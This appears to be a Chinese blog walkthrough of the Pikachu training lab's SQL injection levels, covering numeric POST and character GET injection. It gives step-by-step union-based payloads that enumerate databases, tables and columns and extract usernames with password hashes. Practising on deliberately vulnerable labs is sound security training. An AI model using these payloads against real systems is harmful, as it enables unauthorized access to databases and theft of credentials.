【pikachu~SQL注入】1 数字型注入POST 字符型注入GET

yeah!

在这里插入图片描述
注意:不要访问localhost
使用局域网ip访问
环回地址和localhost在burp是默认不抓包的

数字型注入POST

1. GET更容易受到攻击

前端下拉菜单选择 限制输入

2. 抓包修改id值

1 and 1 = 1 返回正常
1 and 1 = 2  查询失败

3. 爆字段

1 order by 2
1 order by 3

……

在这里插入图片描述
在这里插入图片描述

4. 爆库 爆用户

1 union select user(),database()

在这里插入图片描述

5. 爆表

1 union select database(), group_concat(table_name) from information_schema.tables where table_schema=database()

在这里插入图片描述

6. 爆列

1 union select database(), group_concat(column_name)  from information_schema.columns where table_schema=database() and table_name='users'

‘user’ 会一直报错,或许有大佬可以告我问什么吗
在这里插入图片描述
去掉 and table_name=‘users’

7. 爆值

1 union select database(),group_concat(username,,password) from pikachu.users

在这里插入图片描述
admine10adc3949ba59abbe56e057f20f883e,pikachu670b14728ad9902aecba32e22fa4f6bd,teste99a18c428cb38d5f260853678922e03

在这里插入图片描述

字符型注入GET

url编码问题卡了我很久

SELECT * FROM users WHERE username='$username';

一样的流程
闭合引号

fancy' and 1=1 --+
kobe' order by 2 --+
kobe' union select user(),database()--+

在这里插入图片描述

kobe' union select database(
),group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+

在这里插入图片描述

kobe' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
kobe' union select database(),group_concat(username,'~',password) from pikachu.users--+

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值